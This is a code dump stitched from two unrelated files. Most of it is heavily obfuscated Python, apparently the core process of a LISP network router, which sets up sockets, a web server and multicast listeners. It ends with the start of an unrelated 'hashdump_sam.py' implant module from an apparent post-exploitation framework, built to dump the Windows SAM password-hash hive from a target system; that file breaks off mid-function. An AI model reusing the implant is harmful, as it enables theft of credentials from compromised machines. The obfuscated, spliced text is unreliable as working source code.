pyOpenSSLAdapter ( Ii1iiIIi1i , Ii1iiIIi1i , None ) if 74 - 74: ooOoO0o % OoOoOO00 / Oo0Ooo if 2 - 2: IiII % IiII % I1Ii111 try : Oooo . start ( ) finally : Oooo . stop ( ) if 60 - 60: OOooOOo if 73 - 73: ooOoO0o if 86 - 86: OoOoOO00 . I11i / Oo0Ooo * I11i if 20 - 20: ooOoO0o - OOooOOo * OoO0O00 * o0oOOo0O0Ooo * OOooOOo / IiII if 40 - 40: I1IiiI * o0oOOo0O0Ooo . I1IiiI if 62 - 62: ooOoO0o + II111iiii % ooOoO0o if 50 - 50: OoooooooOO + oO0o * I1IiiI - Ii1I / i11iIiiIii if 5 - 5: O0 - I1IiiI if 44 - 44: II111iiii . II111iiii + OOooOOo * Ii1I if 16 - 16: II111iiii if 100 - 100: O0 - i1IIi if 48 - 48: oO0o % ooOoO0o + O0 if 27 - 27: I1ii11iIi11i / OOooOOo if 33 - 33: OoooooooOO % I1ii11iIi11i . O0 / I1ii11iIi11i if 63 - 63: IiII + iIii1I11I1II1 + I1IiiI + I1Ii111 if 72 - 72: OoO0O00 + i11iIiiIii + I1ii11iIi11i def oOooOoOOo0O ( bottle_port ) : lisp . lisp_set_exception ( ) if 41 - 41: iII111i if 88 - 88: O0 . oO0o % I1IiiI if 10 - 10: I1IiiI + O0 if 75 - 75: O0 % iIii1I11I1II1 / OoOoOO00 % OOooOOo / IiII if 31 - 31: i11iIiiIii * OoOoOO00 if ( bottle_port < 0 ) : bottle . run ( host = "0.0.0.0" , port = - bottle_port ) return if 69 - 69: i11iIiiIii if 61 - 61: O0 bottle . server_names [ "lisp-ssl-server" ] = O0oooo0O if 21 - 21: OoO0O00 % iIii1I11I1II1 . OoO0O00 if 99 - 99: o0oOOo0O0Ooo * OOooOOo % oO0o * oO0o + OoooooooOO if 82 - 82: I11i / OoOoOO00 - OOooOOo / ooOoO0o if 50 - 50: OOooOOo + OoO0O00 . i11iIiiIii + I1ii11iIi11i + i11iIiiIii try : bottle . run ( host = "0.0.0.0" , port = bottle_port , server = "lisp-ssl-server" , fast = True ) except : bottle . run ( host = "0.0.0.0" , port = bottle_port , fast = True ) if 31 - 31: oO0o * I1Ii111 . OoOoOO00 * I11i return if 28 - 28: IiII + I1IiiI - Oo0Ooo % OOooOOo . I11i + I1IiiI if 72 - 72: Ii1I / Oo0Ooo / oO0o * OoOoOO00 + OOooOOo if 58 - 58: o0oOOo0O0Ooo % I1IiiI . I1IiiI * OoO0O00 - IiII . OoooooooOO if 10 - 10: I1Ii111 if 48 - 48: iII111i * i1IIi % OoooooooOO * Ii1I * OoO0O00 if 7 - 7: iII111i . Ii1I . iII111i - I1Ii111 if 33 - 33: ooOoO0o + OoooooooOO - OoO0O00 / i1IIi / OoooooooOO if 82 - 82: I1ii11iIi11i / OOooOOo - iII111i / Oo0Ooo * OoO0O00 def o00OIIIIIiiI ( ) : lisp . lisp_set_exception ( ) if 38 - 38: O0 return if 79 - 79: i1IIi . oO0o if 34 - 34: I1Ii111 * II111iiii if 71 - 71: IiII if 97 - 97: I1ii11iIi11i if 86 - 86: Oo0Ooo - OOooOOo . OoOoOO00 . II111iiii * I1IiiI . II111iiii if 34 - 34: o0oOOo0O0Ooo . I1Ii111 % IiII - O0 / I1Ii111 if 91 - 91: i11iIiiIii % I1Ii111 * oO0o - I1ii11iIi11i . I1Ii111 if 28 - 28: i11iIiiIii if 51 - 51: I1IiiI + ooOoO0o * O0 . Ii1I def O00Oo00OOoO0 ( lisp_socket ) : lisp . lisp_set_exception ( ) IIiiI = { "lisp-itr" : False , "lisp-etr" : False , "lisp-rtr" : False , "lisp-mr" : False , "lisp-ms" : False , "lisp-ddt" : False } if 99 - 99: OoO0O00 / i1IIi . I1ii11iIi11i while ( True ) : time . sleep ( 1 ) I1I1i11iiiiI = IIiiI IIiiI = { } if 66 - 66: oO0o / OoOoOO00 for OOoO00ooO in I1I1i11iiiiI : IIiiI [ OOoO00ooO ] = lisp . lisp_is_running ( OOoO00ooO ) if ( I1I1i11iiiiI [ OOoO00ooO ] == IIiiI [ OOoO00ooO ] ) : continue if 13 - 13: II111iiii lisp . lprint ( "*** Process '{}' has {} ***" . format ( OOoO00ooO , "come up" if IIiiI [ OOoO00ooO ] else "gone down" ) ) if 55 - 55: Oo0Ooo % i1IIi * I11i if 95 - 95: OOooOOo / II111iiii - o0oOOo0O0Ooo % I1Ii111 . I11i if 63 - 63: iIii1I11I1II1 / ooOoO0o if 24 - 24: Oo0Ooo / iIii1I11I1II1 % OOooOOo * OoOoOO00 - iIii1I11I1II1 if ( IIiiI [ OOoO00ooO ] == True ) : lisp . lisp_ipc_lock . acquire ( ) lispconfig . lisp_send_commands ( lisp_socket , OOoO00ooO ) lisp . lisp_ipc_lock . release ( ) if 50 - 50: II111iiii if 39 - 39: II111iiii . OoOoOO00 - Oo0Ooo * i1IIi . OoooooooOO if 44 - 44: I1IiiI return if 55 - 55: oO0o . I1Ii111 * I1Ii111 if 82 - 82: I1IiiI % OoO0O00 % I11i + I11i if 6 - 6: Oo0Ooo if 73 - 73: I1Ii111 * I1ii11iIi11i + o0oOOo0O0Ooo - Oo0Ooo . I11i if 93 - 93: i11iIiiIii if 80 - 80: i1IIi . I1IiiI - oO0o + OOooOOo + iII111i % oO0o if 13 - 13: II111iiii / OoOoOO00 / OoOoOO00 + ooOoO0o def Ii1i ( ) : lisp . lisp_set_exception ( ) ooooOoOooo00Oo = 60 if 72 - 72: I11i while ( True ) : time . sleep ( ooooOoOooo00Oo ) if 26 - 26: IiII % Oo0Ooo OoOOoo = [ ] II1ii1 = lisp . lisp_get_timestamp ( ) if 34 - 34: OoOoOO00 - oO0o * OoooooooOO if 5 - 5: i11iIiiIii * iII111i - Ii1I - I1ii11iIi11i - i1IIi + iII111i if 4 - 4: ooOoO0o + O0 . i1IIi * I1ii11iIi11i - o0oOOo0O0Ooo if 42 - 42: o0oOOo0O0Ooo * OoOoOO00 . OoO0O00 - iII111i / II111iiii for iii1I1Iii in lisp . lisp_info_sources_by_address : OoooOO0Oo0 = lisp . lisp_info_sources_by_address [ iii1I1Iii ] if ( OoooOO0Oo0 . no_timeout ) : continue if ( OoooOO0Oo0 . uptime + ooooOoOooo00Oo < II1ii1 ) : continue if 25 - 25: Oo0Ooo % OoOoOO00 OoOOoo . append ( iii1I1Iii ) if 75 - 75: i1IIi O0OOO0 = OoooOO0Oo0 . nonce if ( O0OOO0 == None ) : continue if ( O0OOO0 in lisp . lisp_info_sources_by_nonce ) : lisp . lisp_info_sources_by_nonce . pop ( O0OOO0 ) if 74 - 74: Oo0Ooo + I1Ii111 - oO0o - OoO0O00 + iII111i - iIii1I11I1II1 if 54 - 54: I1ii11iIi11i + II111iiii . I1IiiI / OoO0O00 . ooOoO0o if 58 - 58: IiII % i11iIiiIii * II111iiii . I1ii11iIi11i if 94 - 94: i11iIiiIii . OOooOOo + iIii1I11I1II1 * I1Ii111 * I1Ii111 if 36 - 36: I11i - IiII . IiII if 60 - 60: i11iIiiIii * Oo0Ooo % OoO0O00 + OoO0O00 for iii1I1Iii in OoOOoo : lisp . lisp_info_sources_by_address . pop ( iii1I1Iii ) if 84 - 84: iIii1I11I1II1 + OoooooooOO if 77 - 77: O0 * I1ii11iIi11i * oO0o + OoO0O00 + I1ii11iIi11i - I1Ii111 return if 10 - 10: I1ii11iIi11i + IiII if 58 - 58: I1IiiI + OoooooooOO / iII111i . ooOoO0o % o0oOOo0O0Ooo / I1ii11iIi11i if 62 - 62: II111iiii if 12 - 12: IiII + II111iiii if 92 - 92: I1Ii111 % iIii1I11I1II1 - iII111i / i11iIiiIii % ooOoO0o * o0oOOo0O0Ooo if 80 - 80: iII111i if 3 - 3: I1ii11iIi11i * I11i if 53 - 53: iIii1I11I1II1 / iII111i % OoO0O00 + IiII / ooOoO0o def oo00oO ( lisp_ipc_control_socket , lisp_sockets ) : lisp . lisp_set_exception ( ) while ( True ) : try : I11i1I11 = lisp_ipc_control_socket . recvfrom ( 9000 ) except : return ( [ "" , "" , "" , "" ] ) IIIi1i1I = I11i1I11 [ 0 ] . split ( "@" ) ooo0O = I11i1I11 [ 1 ] if 32 - 32: IiII - oO0o . iIii1I11I1II1 . I1Ii111 + II111iiii % OoooooooOO iIii = IIIi1i1I [ 0 ] i1IiI1ii1i = IIIi1i1I [ 1 ] oOoO0o00OO0 = int ( IIIi1i1I [ 2 ] ) Oo000 = IIIi1i1I [ 3 : : ] if 75 - 75: O0 if ( len ( Oo000 ) > 1 ) : Oo000 = lisp . lisp_bit_stuff ( Oo000 ) else : Oo000 = Oo000 [ 0 ] if 56 - 56: OoO0O00 / II111iiii if 39 - 39: OoOoOO00 - OoooooooOO - i1IIi / II111iiii if ( iIii != "control-packet" ) : lisp . lprint ( ( "lisp_core_control_packet_process() received" + "unexpected control-packet, message ignored" ) ) if 49 - 49: Oo0Ooo + O0 + IiII . II111iiii % ooOoO0o continue if 33 - 33: OoOoOO00 . iIii1I11I1II1 / I11i % Ii1I if 49 - 49: OoO0O00 + II111iiii / IiII - O0 % Ii1I lisp . lprint ( ( "{} {} bytes from {}, dest/port: {}/{}, control-" + "packet: {}" ) . format ( lisp . bold ( "Receive" , False ) , len ( Oo000 ) , # Oo0Ooo / OoO0O00 ooo0O , i1IiI1ii1i , oOoO0o00OO0 , lisp . lisp_format_packet ( Oo000 ) ) ) if 40 - 40: I11i / iII111i + OoO0O00 / OoooooooOO - oO0o / I1Ii111 if 62 - 62: i11iIiiIii - I11i if 81 - 81: I11i if 92 - 92: OOooOOo - Oo0Ooo - OoooooooOO / IiII - i1IIi if 81 - 81: i1IIi / I1Ii111 % i11iIiiIii . iIii1I11I1II1 * OoOoOO00 + OoooooooOO if 31 - 31: i1IIi % II111iiii I1ii1II1iII = lisp . lisp_control_header ( ) I1ii1II1iII . decode ( Oo000 ) if ( I1ii1II1iII . type == lisp . LISP_MAP_REPLY ) : i1I1i1i1I1 = lisp . lisp_map_reply ( ) i1I1i1i1I1 . decode ( Oo000 ) if ( iiIIIIiI111 ( None , 0 , i1I1i1i1I1 . nonce ) ) : oooO0o ( lisp_sockets , ooo0O , oOoO0o00OO0 , Oo000 ) continue if 13 - 13: iIii1I11I1II1 - II111iiii % O0 . Ii1I % OoO0O00 if 2 - 2: OoooooooOO - Ii1I % oO0o / I1IiiI / o0oOOo0O0Ooo if 3 - 3: II111iiii / OOooOOo if 48 - 48: ooOoO0o . I1ii11iIi11i if 49 - 49: i1IIi - OoOoOO00 . Oo0Ooo + iIii1I11I1II1 - ooOoO0o / Oo0Ooo if 24 - 24: oO0o - iII111i / ooOoO0o if 10 - 10: OoOoOO00 * i1IIi if 15 - 15: I11i + i1IIi - II111iiii % I1IiiI if ( I1ii1II1iII . type == lisp . LISP_MAP_NOTIFY and ooo0O == "lisp-etr" ) : Oo0O00Oo0o0 = lisp . lisp_packet_ipc ( Oo000 , ooo0O , oOoO0o00OO0 ) lisp . lisp_ipc ( Oo0O00Oo0o0 , Oo , "lisp-itr" ) continue if 34 - 34: I1IiiI if 57 - 57: OOooOOo . Ii1I % o0oOOo0O0Ooo if 32 - 32: I11i / IiII - O0 * iIii1I11I1II1 if 70 - 70: OoooooooOO % OoooooooOO % OoO0O00 if 98 - 98: OoO0O00 if 18 - 18: I11i + Oo0Ooo - OoO0O00 / I1Ii111 / OOooOOo if 53 - 53: OOooOOo + o0oOOo0O0Ooo . oO0o / I11i OoooOo0 = lisp . lisp_convert_4to6 ( i1IiI1ii1i ) OoooOo0 = lisp . lisp_address ( lisp . LISP_AFI_IPV6 , "" , 128 , 0 ) if ( OoooOo0 . is_ipv4_string ( i1IiI1ii1i ) ) : i1IiI1ii1i = "::ffff:" + i1IiI1ii1i OoooOo0 . store_address ( i1IiI1ii1i ) if 52 - 52: I1Ii111 + I1Ii111 if 73 - 73: o0oOOo0O0Ooo . i11iIiiIii % OoooooooOO + ooOoO0o . OoooooooOO / OOooOOo if 54 - 54: OoOoOO00 . OoooooooOO if 36 - 36: oO0o / II111iiii * IiII % I1ii11iIi11i lisp . lisp_send ( lisp_sockets , OoooOo0 , oOoO0o00OO0 , Oo000 ) if 31 - 31: II111iiii + OOooOOo - OoooooooOO . I11i return if 28 - 28: Ii1I . I1ii11iIi11i if 77 - 77: I1ii11iIi11i % II111iiii if 81 - 81: OoOoOO00 % Ii1I / O0 * iIii1I11I1II1 % IiII . I1IiiI if 90 - 90: o0oOOo0O0Ooo if 44 - 44: o0oOOo0O0Ooo / I1ii11iIi11i . Oo0Ooo + OoOoOO00 if 32 - 32: IiII - ooOoO0o * iII111i * I11i if 84 - 84: Ii1I + I1ii11iIi11i % I1IiiI + i11iIiiIii if 37 - 37: I11i % I1ii11iIi11i / ooOoO0o def iI11I ( ) : Oo0O0oooo = open ( "./lisp.config.example" , "r" ) ; I111iI = Oo0O0oooo . read ( ) ; Oo0O0oooo . close ( ) Oo0O0oooo = open ( "./lisp.config" , "w" ) I111iI = I111iI . split ( "\n" ) for OooOO in I111iI : Oo0O0oooo . write ( OooOO + "\n" ) if ( OooOO [ 0 ] == "#" and OooOO [ - 1 ] == "#" and len ( OooOO ) >= 4 ) : o0oO = OooOO [ 1 : - 2 ] ooOo0 = len ( o0oO ) * "-" if ( o0oO == ooOo0 ) : break if 61 - 61: II111iiii if 48 - 48: OOooOOo Oo0O0oooo . close ( ) return if 26 - 26: iII111i * I1Ii111 * oO0o * OoOoOO00 if 48 - 48: iII111i % i11iIiiIii . OoooooooOO * IiII % OoO0O00 . iII111i if 6 - 6: O0 . ooOoO0o - oO0o / i11iIiiIii if 84 - 84: I11i / I1ii11iIi11i * o0oOOo0O0Ooo * OoO0O00 * OOooOOo * O0 if 83 - 83: O0 % II111iiii + o0oOOo0O0Ooo / OoooooooOO if 75 - 75: II111iiii . I1IiiI + OOooOOo - OoOoOO00 - O0 . I11i if 19 - 19: Ii1I * i1IIi % O0 + I11i if 25 - 25: I1Ii111 - Ii1I / O0 . OoooooooOO % I1IiiI . i1IIi def Ii1iIIII1i ( bottle_port ) : global Oo0o global Ii1iI global Oo global I1Ii11I1Ii1i global Ooo global o0oOoO00o if 84 - 84: i1IIi - I1IiiI % iII111i lisp . lisp_i_am ( "core" ) lisp . lisp_set_exception ( ) lisp . lisp_print_banner ( "core-process starting up" ) lisp . lisp_uptime = lisp . lisp_get_timestamp ( ) lisp . lisp_version = commands . getoutput ( "cat lisp-version.txt" ) Oo0o = commands . getoutput ( "cat lisp-build-date.txt" ) if 80 - 80: o0oOOo0O0Ooo % iII111i if 80 - 80: Ii1I if 26 - 26: iIii1I11I1II1 . OoooooooOO - iIii1I11I1II1 if 59 - 59: I1ii11iIi11i + I11i . oO0o if ( lisp . lisp_get_local_addresses ( ) == False ) : return ( False ) if 87 - 87: OoO0O00 if 34 - 34: I1Ii111 . OoOoOO00 / i11iIiiIii / iII111i if 46 - 46: Oo0Ooo + II111iiii * I1IiiI + OOooOOo if 31 - 31: Ii1I * o0oOOo0O0Ooo * Ii1I + OoO0O00 * o0oOOo0O0Ooo . I1Ii111 if 89 - 89: OoooooooOO * Ii1I * I1IiiI . ooOoO0o * Ii1I / iII111i lisp . lisp_ipc_lock = multiprocessing . Lock ( ) if 46 - 46: i11iIiiIii if 15 - 15: O0 / i1IIi / i1IIi . iII111i % OoOoOO00 + I1IiiI if 48 - 48: I1Ii111 % iII111i % Ii1I % iIii1I11I1II1 . Ii1I if 14 - 14: iII111i * OoO0O00 % O0 + I11i + I1ii11iIi11i if 23 - 23: Oo0Ooo % iII111i + Ii1I - I1Ii111 if 65 - 65: OoooooooOO if 22 - 22: OOooOOo + II111iiii + Oo0Ooo if ( os . path . exists ( "lisp.py" ) ) : lisp . lisp_version += "+" if 83 - 83: ooOoO0o if 43 - 43: OOooOOo if 84 - 84: OOooOOo . IiII . iII111i if 2 - 2: Oo0Ooo - OoOoOO00 if 49 - 49: Ii1I + II111iiii / oO0o - OoOoOO00 % OoOoOO00 + I1IiiI if 54 - 54: ooOoO0o % Oo0Ooo - OOooOOo iIi11IiiiII11 = "0.0.0.0" if lisp . lisp_is_raspbian ( ) else "0::0" if ( os . getenv ( "LISP_ANYCAST_MR" ) == None or lisp . lisp_myrlocs [ 0 ] == None ) : Ii1iI = lisp . lisp_open_listen_socket ( iIi11IiiiII11 , str ( lisp . LISP_CTRL_PORT ) ) else : iIi11IiiiII11 = lisp . lisp_myrlocs [ 0 ] . print_address_no_iid ( ) Ii1iI = lisp . lisp_open_listen_socket ( iIi11IiiiII11 , str ( lisp . LISP_CTRL_PORT ) ) if 26 - 26: iII111i / OoooooooOO - Oo0Ooo lisp . lprint ( "Listen on {}, port 4342" . format ( iIi11IiiiII11 ) ) if 2 - 2: I1ii11iIi11i - Oo0Ooo if 4 - 4: O0 / I11i . OoO0O00 - ooOoO0o / OOooOOo if 25 - 25: I11i * OoOoOO00 - Oo0Ooo . ooOoO0o . oO0o if 89 - 89: O0 * I11i * OoO0O00 if 3 - 3: OOooOOo / iII111i * iIii1I11I1II1 + II111iiii / o0oOOo0O0Ooo / IiII if 25 - 25: OoOoOO00 + OoO0O00 % Ii1I % OOooOOo / oO0o if ( lisp . lisp_external_data_plane ( ) == False ) : o0oOoO00o = lisp . lisp_open_listen_socket ( iIi11IiiiII11 , str ( lisp . LISP_DATA_PORT ) ) lisp . lprint ( "Listen on {}, port 4341" . format ( iIi11IiiiII11 ) ) if 91 - 91: OoO0O00 / OoO0O00 . II111iiii . ooOoO0o - I1IiiI if 23 - 23: I1IiiI if 7 - 7: iII111i % I1ii11iIi11i if 64 - 64: I1Ii111 + i11iIiiIii if 35 - 35: OoOoOO00 + i1IIi % OOooOOo if 68 - 68: IiII . ooOoO0o Oo = lisp . lisp_open_send_socket ( "lisp-core" , "" ) Oo . settimeout ( 3 ) if 64 - 64: i1IIi + Oo0Ooo * I1IiiI / OOooOOo if 3 - 3: Oo0Ooo / ooOoO0o + ooOoO0o . I1ii11iIi11i if 50 - 50: iIii1I11I1II1 * oO0o if 85 - 85: i1IIi if 100 - 100: OoooooooOO / I11i % OoO0O00 + Ii1I I1Ii11I1Ii1i = lisp . lisp_open_listen_socket ( "" , "lisp-core-pkt" ) if 42 - 42: Oo0Ooo / IiII . Ii1I * I1IiiI Ooo = [ Ii1iI , Ii1iI , Oo ] if 54 - 54: OoOoOO00 * iII111i + OoO0O00 if 93 - 93: o0oOOo0O0Ooo / I1IiiI if 47 - 47: Oo0Ooo * OOooOOo if 98 - 98: oO0o - oO0o . ooOoO0o if 60 - 60: I1IiiI * I1ii11iIi11i / O0 + I11i + IiII threading . Thread ( target = oo00oO , args = [ I1Ii11I1Ii1i , Ooo ] ) . start ( ) if 66 - 66: IiII * Oo0Ooo . OoooooooOO * I1Ii111 if 93 - 93: IiII / i1IIi if 47 - 47: ooOoO0o - Ii1I if 98 - 98: oO0o . I1Ii111 / OoOoOO00 . ooOoO0o if 1 - 1: OOooOOo if 87 - 87: O0 * II111iiii + iIii1I11I1II1 % oO0o % i11iIiiIii - OoOoOO00 if ( os . path . exists ( "./lisp.config" ) == False ) : lisp . lprint ( ( "./lisp.config does not exist, creating a copy " + "from lisp.config.example" ) ) if 73 - 73: iII111i + Ii1I iI11I ( ) if 37 - 37: oO0o - iIii1I11I1II1 + II111iiii . Ii1I % iIii1I11I1II1 if 17 - 17: I1Ii111 + i1IIi % O0 if 65 - 65: IiII if 50 - 50: II111iiii / OoO0O00 if 79 - 79: I1ii11iIi11i - iIii1I11I1II1 % i1IIi / Oo0Ooo + II111iiii if 95 - 95: oO0o i11ii ( Ii1iI ) if 39 - 39: i1IIi . I1ii11iIi11i / I11i / I11i threading . Thread ( target = lispconfig . lisp_config_process , args = [ Oo ] ) . start ( ) if 100 - 100: OoooooooOO - OoooooooOO + IiII if 32 - 32: OoOoOO00 * o0oOOo0O0Ooo / OoooooooOO if 90 - 90: I1Ii111 if 35 - 35: II111iiii / Ii1I threading . Thread ( target = oOooOoOOo0O , args = [ bottle_port ] ) . start ( ) threading . Thread ( target = o00OIIIIIiiI , args = [ ] ) . start ( ) if 79 - 79: OoOoOO00 + I1Ii111 * iII111i * Ii1I if 53 - 53: OOooOOo / Oo0Ooo if 10 - 10: I1ii11iIi11i . o0oOOo0O0Ooo if 75 - 75: O0 * i1IIi - I11i / OOooOOo % OOooOOo / OoOoOO00 threading . Thread ( target = O00Oo00OOoO0 , args = [ Oo ] ) . start ( ) if 5 - 5: O0 - iII111i / I1Ii111 . o0oOOo0O0Ooo if 7 - 7: I1ii11iIi11i - OoOoOO00 if 54 - 54: oO0o / iIii1I11I1II1 / OoooooooOO . i1IIi - OoOoOO00 if 57 - 57: iIii1I11I1II1 * Ii1I * iII111i / oO0o threading . Thread ( target = Ii1i ) . start ( ) return ( True ) if 46 - 46: Ii1I if 61 - 61: o0oOOo0O0Ooo / ooOoO0o - II111iiii if 87 - 87: I1ii11iIi11i / I1IiiI if 45 - 45: OoOoOO00 * ooOoO0o / OoooooooOO + OoO0O00 . I1Ii111 / OoO0O00 if 64 - 64: Ii1I / i1IIi % I1IiiI - o0oOOo0O0Ooo if 11 - 11: I1ii11iIi11i - OoooooooOO if 16 - 16: IiII % OoooooooOO - ooOoO0o * Ii1I - Ii1I def I1iiII1 ( ) : if 45 - 45: OoO0O00 + OoO0O00 % ooOoO0o if 36 - 36: Ii1I * I11i . I11i / Oo0Ooo / I1IiiI if 80 - 80: OoooooooOO - i1IIi if 51 - 51: i1IIi . OoOoOO00 / OoOoOO00 % i11iIiiIii * OOooOOo - I1Ii111 lisp . lisp_close_socket ( Oo , "lisp-core" ) lisp . lisp_close_socket ( I1Ii11I1Ii1i , "lisp-core-pkt" ) lisp . lisp_close_socket ( Ii1iI , "" ) lisp . lisp_close_socket ( o0oOoO00o , "" ) return if 49 - 49: Oo0Ooo - iIii1I11I1II1 if 64 - 64: I1Ii111 + iIii1I11I1II1 if 14 - 14: Ii1I / OoooooooOO + II111iiii . O0 / i1IIi if 58 - 58: o0oOOo0O0Ooo / i11iIiiIii / O0 % I11i % I1IiiI if 86 - 86: IiII + OoOoOO00 / I1IiiI + I11i % I11i / i11iIiiIii if 12 - 12: OoOoOO00 + o0oOOo0O0Ooo . I1Ii111 if 52 - 52: OoO0O00 if 4 - 4: Ii1I % I1ii11iIi11i + I11i - I1ii11iIi11i if 98 - 98: Ii1I - O0 * oO0o * Ii1I * Ii1I if 44 - 44: IiII + I11i if 66 - 66: oO0o if 34 - 34: iII111i % i11iIiiIii + i11iIiiIii - iII111i def i11ii ( lisp_socket ) : if 2 - 2: II111iiii + i1IIi Oo0O0oooo = open ( "./lisp.config" , "r" ) ; I111iI = Oo0O0oooo . read ( ) ; Oo0O0oooo . close ( ) I111iI = I111iI . split ( "\n" ) if 68 - 68: OOooOOo + Ii1I if 58 - 58: IiII * Ii1I . i1IIi if 19 - 19: oO0o if 85 - 85: ooOoO0o - I1IiiI / i1IIi / OoO0O00 / II111iiii if 94 - 94: iIii1I11I1II1 + IiII II11II = False for OooOO in I111iI : if ( OooOO [ 0 : 1 ] == "#-" and OooOO [ - 2 : - 1 ] == "-#" ) : break if ( OooOO == "" or OooOO [ 0 ] == "#" ) : continue if ( OooOO . find ( "decentralized-push-xtr = yes" ) == - 1 ) : continue II11II = True break if 40 - 40: iII111i + O0 if ( II11II == False ) : return if 18 - 18: iIii1I11I1II1 % iIii1I11I1II1 % oO0o + I1IiiI % ooOoO0o / Ii1I if 36 - 36: OoOoOO00 . i11iIiiIii if 81 - 81: Oo0Ooo * iII111i * OoO0O00 if 85 - 85: O0 * oO0o if 39 - 39: II111iiii * I1IiiI - iIii1I11I1II1 Ii1 = [ ] o0OOOoo0000 = False for OooOO in I111iI : if ( OooOO [ 0 : 1 ] == "#-" and OooOO [ - 2 : - 1 ] == "-#" ) : break if ( OooOO == "" or OooOO [ 0 ] == "#" ) : continue if 19 - 19: OoooooooOO . I1IiiI + I1Ii111 - I1IiiI / I1IiiI % IiII if ( OooOO . find ( "lisp map-server" ) != - 1 ) : o0OOOoo0000 = True continue if 4 - 4: i11iIiiIii * I1ii11iIi11i + OoooooooOO - IiII . ooOoO0o . iIii1I11I1II1 if ( OooOO [ 0 ] == "}" ) : o0OOOoo0000 = False continue if 48 - 48: o0oOOo0O0Ooo * oO0o . I1IiiI - I1Ii111 + OOooOOo . Oo0Ooo if 62 - 62: I11i + OoooooooOO * iIii1I11I1II1 / i1IIi * O0 if 10 - 10: iIii1I11I1II1 * OoooooooOO / OOooOOo if 33 - 33: o0oOOo0O0Ooo % IiII - iIii1I11I1II1 % OOooOOo + I1Ii111 - i11iIiiIii if 91 - 91: OoooooooOO . iIii1I11I1II1 / i11iIiiIii if ( o0OOOoo0000 and OooOO . find ( "address = " ) != - 1 ) : oOOOO = OooOO . split ( "address = " ) [ 1 ] OoOOoo0 = int ( oOOOO . split ( "." ) [ 0 ] ) if ( OoOOoo0 >= 224 and OoOOoo0 < 240 ) : Ii1 . append ( oOOOO ) if 93 - 93: II111iiii * OoOoOO00 % o0oOOo0O0Ooo if 67 - 67: o0oOOo0O0Ooo + Oo0Ooo . ooOoO0o - i1IIi . OoOoOO00 if ( oOOOO == [ ] ) : return if 12 - 12: IiII / OoO0O00 / O0 * IiII if 51 - 51: ooOoO0o * iII111i / i1IIi if 2 - 2: oO0o + IiII . iII111i - i1IIi + I1Ii111 if 54 - 54: OoooooooOO . oO0o - iII111i II1i111 = commands . getoutput ( 'ifconfig eth0 | egrep "inet "' ) if ( II1i111 == "" ) : return oO0o00o000Oo0 = II1i111 . split ( ) [ 1 ] if 1 - 1: I1IiiI - I1Ii111 if 62 - 62: OoO0O00 . iII111i . iII111i % i1IIi * oO0o % Oo0Ooo if 20 - 20: ooOoO0o . IiII / I11i . OoooooooOO * OOooOOo + Ii1I if 2 - 2: I1IiiI I1i111iiIIIi = socket . inet_aton ( oO0o00o000Oo0 ) for oOOOO in Ii1 : lisp_socket . setsockopt ( socket . SOL_SOCKET , socket . SO_REUSEADDR , 1 ) lisp_socket . setsockopt ( socket . IPPROTO_IP , socket . IP_MULTICAST_IF , I1i111iiIIIi ) IIii1Ii = socket . inet_aton ( oOOOO ) + I1i111iiIIIi lisp_socket . setsockopt ( socket . IPPROTO_IP , socket . IP_ADD_MEMBERSHIP , IIii1Ii ) lisp . lprint ( "Setting multicast listen socket for group {}" . format ( oOOOO ) ) if 98 - 98: II111iiii + Oo0Ooo * iIii1I11I1II1 * I1ii11iIi11i + OOooOOo * Ii1I if 76 - 76: ooOoO0o . oO0o return if 60 - 60: OOooOOo * ooOoO0o * OoO0O00 if 64 - 64: I11i / II111iiii / OoO0O00 - ooOoO0o * iIii1I11I1II1 . iII111i if 25 - 25: OOooOOo - Ii1I . I11i if 57 - 57: o0oOOo0O0Ooo + Oo0Ooo * I1ii11iIi11i - ooOoO0o % iIii1I11I1II1 - Ii1I III1I11II11I = int ( sys . argv [ 1 ] ) if ( len ( sys . argv ) > 1 ) else 8080 if 78 - 78: I1ii11iIi11i . I1Ii111 . I1Ii111 . I11i % iII111i if 26 - 26: ooOoO0o + OoO0O00 / OoOoOO00 . II111iiii * Ii1I if 21 - 21: I1IiiI - I1IiiI + iII111i % I1IiiI * oO0o if 74 - 74: iII111i / I11i . I1IiiI - OoooooooOO + II111iiii + I11i if ( Ii1iIIII1i ( III1I11II11I ) == False ) : lisp . lprint ( "lisp_core_startup() failed" ) lisp . lisp_print_banner ( "lisp-core abnormal exit" ) exit ( 1 ) if 36 - 36: Ii1I * I1IiiI * I1ii11iIi11i . I11i * I1ii11iIi11i if 76 - 76: OOooOOo + O0 / IiII - OoO0O00 while ( True ) : if 27 - 27: Oo0Ooo - iIii1I11I1II1 * iII111i * II111iiii * I1ii11iIi11i if 9 - 9: i11iIiiIii + OOooOOo - OoOoOO00 / ooOoO0o % i1IIi / oO0o if 22 - 22: i1IIi if 3 - 3: OoO0O00 * I1ii11iIi11i - iII111i + I1ii11iIi11i if 63 - 63: I11i * ooOoO0o % II111iiii % I1Ii111 + I1IiiI * Oo0Ooo iIii , ooo0O , oOoO0o00OO0 , Oo000 = lisp . lisp_receive ( Ii1iI , False ) if 96 - 96: IiII if ( ooo0O == "" ) : break if 99 - 99: iIii1I11I1II1 - ooOoO0o if 79 - 79: I1IiiI + oO0o % I11i % oO0o if 56 - 56: I1ii11iIi11i + oO0o . OoO0O00 + OoooooooOO * I1ii11iIi11i - O0 if 35 - 35: OOooOOo . I11i . I1Ii111 - I11i % I11i + I1Ii111 ooo0O = lisp . lisp_convert_6to4 ( ooo0O ) oooO0o ( Ooo , ooo0O , oOoO0o00OO0 , Oo000 ) if 99 - 99: o0oOOo0O0Ooo + OOooOOo if 34 - 34: I1Ii111 * o0oOOo0O0Ooo . I1IiiI % i11iIiiIii I1iiII1 ( ) lisp . lisp_print_banner ( "lisp-core normal exit" ) exit ( 0 ) if 61 - 61: iIii1I11I1II1 + oO0o * I11i - i1IIi % oO0o if 76 - 76: oO0o / OoOoOO00 # dd678faae9ac167bc83abf78e5cb2f3f0688d3a3
hashdump_sam.py
import core.implant class HashDumpSAMImplant(core.implant.Implant): NAME = "SAM Hash Dump" DESCRIPTION = "Dumps the SAM hive off the target system." AUTHORS = ["zerosum0x0"] def load(self): self.options.register("LPATH", "/tmp/", "local file save path") self.options.register("RPATH", "%TEMP%", "remote file save path") def run(self): payloads = {} payloads["js"] = self.loader.load_script("data/implant/gather/hashdump_sam.js", self.options) self.dispatch(payloads, HashDumpSAMJob) class HashDumpSAMJob(core.job.Job): def save_file(self, data): import uuid save_fname = self.options.get("LPATH") + "/" + uuid.uuid4().hex save_fname = save_fname.replace("//", "/") with open(save_fname, "wb") as f: data = 